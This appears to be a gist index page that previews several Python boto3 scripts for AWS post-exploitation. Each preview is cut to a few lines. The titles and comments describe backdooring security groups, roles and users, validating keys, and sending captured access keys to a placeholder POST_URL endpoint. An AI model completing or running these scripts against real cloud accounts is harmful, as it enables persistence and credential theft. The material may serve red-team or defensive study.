View Retrieve all EC2 instance userData
#!/usr/bin/env python | |
from __future__ import print_function | |
import boto3 | |
import base64 | |
client = boto3.client(service_name='ec2', region_name='us-east-1') | |
for region in client.describe_regions()['Regions']: | |
ec2 = boto3.resource(service_name='ec2', region_name=region['RegionName']) | |
for instance in ec2.instances.all(): | |
response = instance.describe_attribute(Attribute='userData') |
View Validate access keys
#!/usr/bin/env python | |
from __future__ import print_function | |
import boto3 | |
from botocore.exceptions import ClientError | |
import json | |
import argparse | |
def main(args): | |
for line in args.key_file.readlines(): |
View Backdoor future security groups in AWS account
#!/usr/bin/env python | |
from __future__ import print_function | |
import json | |
import boto3 | |
import random | |
# A list of rules to add at random to security groups. | |
BACKDOOR_RULES = [ | |
{ 'FromPort': 0, 'ToPort': 65535, 'CidrIp': '127.0.0.1/32', 'IpProtocol': '-1'} | |
] |
View Backdoor future roles in AWS account
#!/usr/bin/env python | |
from __future__ import print_function | |
import json | |
import boto3 | |
from botocore.exceptions import ClientError | |
import requests | |
import random | |
# An endpoint to send access keys to, e.g. http://requestb.in/ | |
POST_URL = 'https://...' |
View Backdoor future users in AWS account
#!/usr/bin/env python | |
from __future__ import print_function | |
import json | |
import boto3 | |
from botocore.exceptions import ClientError | |
import requests | |
# An endpoint to send access keys to, e.g. http://requestb.in/ | |
POST_URL = 'https://...' |
View AWS Lambda user rabbit
#!/usr/bin/env python | |
from __future__ import print_function | |
import json | |
import boto3 | |
import random | |
import re | |
import string | |
def lambda_handler(event, context): |
View Backdoor all security groups in AWS account
#!/usr/bin/env python | |
from __future__ import print_function | |
import boto3 | |
from botocore.exceptions import ClientError | |
import json | |
import random | |
# A list of rules to add at random to security groups. | |
BACKDOOR_RULES = [ |
View Backdoor all users in AWS account
#!/usr/bin/env python | |
from __future__ import print_function | |
import boto3 | |
from botocore.exceptions import ClientError | |
import json | |
def main(args): | |
backdoor_users(get_users()) |
View AWS cli proxy Lambda function
#!/usr/bin/env python | |
from __future__ import print_function | |
import awscli | |
import awscli.clidriver | |
from cStringIO import StringIO | |
import sys | |
import json |
NewerOlder